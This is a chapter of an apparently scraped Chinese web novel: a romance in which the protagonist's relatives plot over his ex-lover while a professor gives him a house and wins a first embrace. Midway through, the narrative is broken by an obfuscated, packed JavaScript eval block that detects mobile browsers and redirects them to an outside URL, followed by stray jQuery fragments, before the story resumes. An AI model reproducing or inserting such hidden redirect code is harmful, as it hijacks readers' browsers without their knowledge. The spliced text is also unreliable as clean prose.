44.第二道权限

作品:《渣攻换受文学[快穿]

    寒冷的雪夜,在北宁村附近的一个小县城的茶馆里,戚清棠脱掉雪貂毛大衣,伸手招呼服务员:“服务员,地暖开大点。”


    “孩子,你就是太瘦弱才怕冷,该多吃点。”褚冰河一脸忠厚老实的说。


    褚月澄深以为然的点点头,满脸心疼:“嫂子啊,你们泊岳人就是爱服美役,为了我哥减肥,不值得!他自己不也想吃什么吃什么,没见他为了您注意身材。”


    戚清棠委屈的点点头,突然又想起来,褚月恒的身材挺好的,每次褚月恒脱掉衣服,他都恨他们卧室的夜灯太昏暗,不能让他清晰的观赏美景。


    仔细想想,褚月恒每天吃不了多少油水,基本都在啃干巴面包,去冰山里做实验的时候运动量又很大,再加上北宁血统遗传的大块肌肉线条,身材很难不好,根本不用专门去保持。


    回忆着褚月恒的美貌,戚清棠更难过了,曾经那美好的一切都是他的,他只需无意义的哼一声,就能让褚月恒急忙跑到他身边,他想摸就摸,想抱就抱,想推开就推开。现在,褚月恒连他的电话都不接了。怎么有人能这么绝情,把这么深刻的感情说断就断?难道之前的体贴都是装的吗?


    戚清棠委屈巴巴的跟褚月澄倾诉褚月恒对他的绝情。


    褚月澄在心里吐槽,谁没事儿会去给人装免费保姆、心理医生、男模……但他嘴巴上肯定是要支持戚清棠的,他可是靠这张抹了蜜的小嘴从戚清棠那儿骗到定北城一套房!


    褚冰河在真情实感的鄙视褚月恒:“这孩子被我教废了,清棠,你是个好孩子,怎么就看上我家这个废物,他生来就是个残次品,捕鱼学不会,打猎也学不会,冷心冷清,哪里值得你为了他大老远跑过来受冻?”


    褚月澄在旁边直叹气,戚清棠迷恋褚月恒是他能从戚清棠手里坑到钱的前提,戚清棠必须是他的嫂子!他可以为戚清棠打抱不平,谴责褚月恒无情,但绝对不能说褚月恒这个人不够有魅力,更不能劝分啊!这可是他的泊岳财神!


    “舅舅,您别说这些了,嫂子他现在不想听这些,再说,客观上讲,表哥他确实很优秀,他可是咱们村第一个名牌大学生,他走到今天多不容易,他付出了多少努力才能遇见嫂子这么好的人呢!”褚月澄一边打圆场一边观察戚清棠的表情,生怕纯金的嫂子飞了。


    “所以,你们能联系上褚月恒吗?”戚清棠期期艾艾的看向褚月澄。


    褚月澄一拍大腿:“您放心,我和舅舅肯定把他抓回来给您谢罪,叫他做渣男,把我们淳朴的北宁村风气都带坏了。”


    褚冰河也冷着脸点头:“这逆子真是被宠坏了,该收拾!”


    说完,褚冰河立刻就给褚月恒打了电话。


    与此同时,褚月恒正带着他的泊岳旅游团回公山易禾在定北城买的房子。


    “怎么样,喜欢吗?”公山易禾期待的问。


    这是一个通透的二层独栋,客厅处将一二层打通,可以从棕色的玻璃窗看到外面的漫天大雪,客厅中央摆放着巨大的电子壁炉,耀眼的火焰让整个房间瞬间温暖起来。


    “以后来这边出差就来这里住,好不好?”公山易禾拉着褚月恒的手,金棕色的眼睛中带着几分撒娇般的祈求。


    褚月恒被他弄迷茫了,公山易禾花钱买了房子,并请求他住在这里?他住这儿又不能让房子增值?公山易禾在定北买了这么一套符合他审美的房子,从选址上看也全是为了他方便,公山易禾本人并不怎么来定北,所以应该是他求公山易禾让他住在这儿才……对吧?


    “好?”褚月恒试探着答应。


    公山易禾心满意足:“我带你参观主卧去,你看看还需要添置些什么。”


    褚月恒打开衣柜:“这些衣服是我的尺码。”


    “整栋房子都是为你盖的,衣服当然是你的尺码。”公山易禾理所当然的说,并直白的说出了自己的目的,“我想你每次来这儿出差都想起我,在我的地盘睡觉。希望你不要觉得我太过唐突,事实上我本来想直接把房子赠与你的,但考虑到你才只给我开到摸手权限,我克制了。”


    “我不能收。”褚月恒心绪复杂的说。


    “所以我只希望你每次来定北都能住在这里。”公山易禾拉住褚月恒的手,十指相扣,柔声说,“你已经答应我了,不要反悔。”


    棕色的玻璃窗外是一片银白色的夜,褚月恒突然就回想起多年前的自己,刚到定北城时,他也曾渴望在这儿拥有自己的归处,只是这些渴望一闪而逝,甚至没能在脑海里存留多一秒。


    他有太多事要多,时间太过紧迫,没时间沉溺在不可实现的渴望中,更没时间为残酷的现实感到悲伤。


    多年后的今天,在这栋温暖的房子里,当年被压抑的某些情感生根发芽,从棺材里伸出了藤蔓:“这是你送我的礼物,接受礼物怎么会反悔?”


    “那你今晚就睡这里,我睡隔壁。”公山易禾笑起来有种泊岳人特有的爽朗和天真,就像褚月恒儿时在旧杂志上看到的笑容,那笑容总是和玫瑰、飞鸟、古建筑等一系列美好的事物一起出现。


    褚月恒若有所感的微微垂眸,凝视着公山易禾,想夸他漂亮,却开不了口:“我该怎么回报你呢?看上去,我似乎变成了被王子喜欢的灰姑娘,对您的重礼无以为报。”


    公山易禾可怜巴巴的看着褚月恒:“既然如此,能考虑给你的王子开放二级权限吗?王子每晚都孤枕难眠,需要靠看音乐剧入眠。”


    现在抢夺弟弟的媳妇儿的音乐剧已经被他抛弃了,他又爱上了将办公室恋情的音乐剧。


    褚月恒看了一眼床,那床确实很大,但和公山易禾共处一室依然令他感到心慌。公山易禾和戚清棠是不一样的,和戚清棠恋爱那会儿,褚月恒不会想东想西、磨磨唧唧,他只需要考虑如何在尽量多的睡戚清棠的前提下,尽量少的和戚清棠一起睡觉……


    而现在,他只感到恐惧,怕自己搞砸,怕被抛弃,也怕自己被公山易禾彻底改变、彻底毁灭。


    公山易禾也跟着褚月恒一起看向床:“这床有三米宽,我们可以一人……”


    褚月恒打断了公山易禾的话,他轻轻抱住公山易禾,把他完全包裹在自己怀抱里,然后把下巴搁在他的肩膀上说:“这是第二道权限,开启了。”


    公山易禾被凌冽的气息包裹,心脏砰砰直跳,褚月恒的身体凉凉的,有点像大理石,又有点像丝绸,公山易禾能感受到褚月恒的脖子正蹭着他的左脸。


    公山易禾非常没出息的咽了咽口水,颤抖着回抱住褚月恒。


    这和在冰原荒岛上草率的拥抱不同,这次他们都只穿了睡衣,褚月恒上身只有一件黑色秋衣,他这一次是真的摸到了褚月恒的腰线,感受到了褚月恒的怀抱,听到他温柔而低沉的嗓音,就像那天他在戚清棠房门外听到的一样,这一次,褚月恒怀里的人终于换成了他。


    褚月恒能感受到公山易禾过快的心跳,公山易禾的紧张带动了褚月恒,让褚月恒浑身僵直,想要逃跑,可是他的腰被公山易禾禁锢住了,只能乖乖呆在这里。


    公山易禾的体温比戚清棠还高,就像个人形充电宝,他头发里还带着松叶洗发水的香气。褚月恒一想到这是他钦佩的公山教授的香气,就害怕的想躲起来:“晚安。”


    公山易禾恋恋不舍的松开手:“晚安。”


    符于渊早早去客房睡了,梵七叶和符月鸳正在客厅小吧台那边喝酒聊天。公山易禾关上主卧的门,看向他亲手设计的玻璃尖顶,外面有雪松正昂然挺拔的矗立在风雪之间,星空泛着一层梦幻的粉。


    这就是极地,这就是初次心动的滋味。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289386|198134||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谁能想到一个人年近三十,自以为老于世故,却在这个年纪体会到了一种纯真的兴奋。


    褚月恒就像一个奇迹,对公山易禾来说,褚月恒纯洁的不可思议,他的人格魅力突破了世俗的定义,干净的就像新鲜的冰川水。


    “你们在聊些什么?”公山易禾激动的睡不着觉,就跑下楼和年轻人们一起瞎聊天。


    “我们在讨论我的下一部电影该写点什么。”符月鸳笑眯眯的看向公山易禾,上下打量着他,“你喜欢我哥?”


    梵七叶两眼亮晶晶的:“公山教授,我支持这门亲事。”


    “你们先别瞎起哄,月恒还没同意呢,目前是我在单方面追求他。”公山易禾慵懒的撑着脸,把玩着酒杯,“给我来点威士忌。”


    梵七叶立刻给他满上:“教授你就放心吧,我觉得你希望很大的。”


    “为什么?”公山易禾好奇的问。他以为在梵七叶眼里,应该是戚清棠希望比较大。毕竟过去几个月,戚清棠和褚月恒天天腻在一起,而他几乎都不去实验室看褚月恒。


    “直觉。”梵七叶神经大条,哪里说得出什么靠谱的理由,“就觉得您是对的人,别人是错的。您一来实验室,实验室都变得欢快了。有些人来实验室会把大家都弄得不高兴,包括……老师自己。”


    公山易禾若有所思的点点头,然后看向符月鸳:“月鸳怎么看?”


    符月鸳无奈的笑了笑:“我和哥哥刚相认,哪儿敢表达看法,您就别为难我了。”


    “你母亲认了另一个孩子,你会有不适应的感觉吗?”公山易禾习惯性的给人当知心大哥哥,“我也来多胎家庭,如果你有什么困扰,我可以帮你。”


    “我倒是没什么,”符月鸳神色微醺,“从我记事起,就知道自己有哥哥,母亲没隐瞒过自己的过去。说实话,认回哥哥对我来说也是好事。母亲一直很孤单,她实现的阶级跨越太大,走过的路太过艰苦,很多时候,我和她是无法互相理解的。我曾经有一段时间和母亲的关系很差,就算是母女,人生经历差距太大也会带来隔阂。她是冰生冰长的女孩儿,一个人打拼到泊岳上流社会。我是生在泊岳的公主,自有父母为我安排一切。很多时候,我们的三观和阶级都是冲突的。”


    公山易禾想起了自己的父亲,叹了口气:“是这样的,都不容易。”


    “现在有哥哥陪她了,”符月鸳笑了笑,“有哥哥在,我和母亲之间的矛盾似乎也有所缓和,她似乎更能理解我了,也更懂得如何做母亲了。我曾经担心她会觉得哥哥和她更像,哥哥还吃了更多苦,她会委屈我来偏向哥哥。现在看来是我小看母亲了,她比我想象的要有智慧得多。”


    公山易禾笑着点头,为别人家的幸福感同身受:“这些话你有机会可以给月恒说说,他会很爱听的。”


    “他不会觉得我煽情吧,他看上去是那种北宁硬汉式的人,我有点不敢说。”符月鸳尴尬的说,“虽然他很漂亮,但气质真的很有极地硬汉那个味儿。”


    梵七叶忍不住哈哈大笑:“导儿出息了,居然被人称作硬汉了,这话你明天也一定要跟他说。”


    公山易禾也跟着笑:“一定要说,我想看月恒的反应。”


    褚月恒能有什么反应,无非是想钻进地缝罢了。好好的吃着早饭,怎么大家突然都称赞他是个北宁硬汉?


    “干……什么?你们是需要我帮忙搬东西吗?”褚月恒拿着叉子,迷茫的问。


    “就是这个范儿,的确硬汉,纯种西伯利亚缅因猫。”梵七叶煞有其事的说。


    “我不是猫!”褚月恒气的耳朵都红了。公山教授私底下这么说就算了,徒弟和妹妹一起起哄就不行!


    梵七叶悄悄给符月鸳使眼色,符月鸳看见褚月恒那通红的耳朵,捂着嘴偷笑。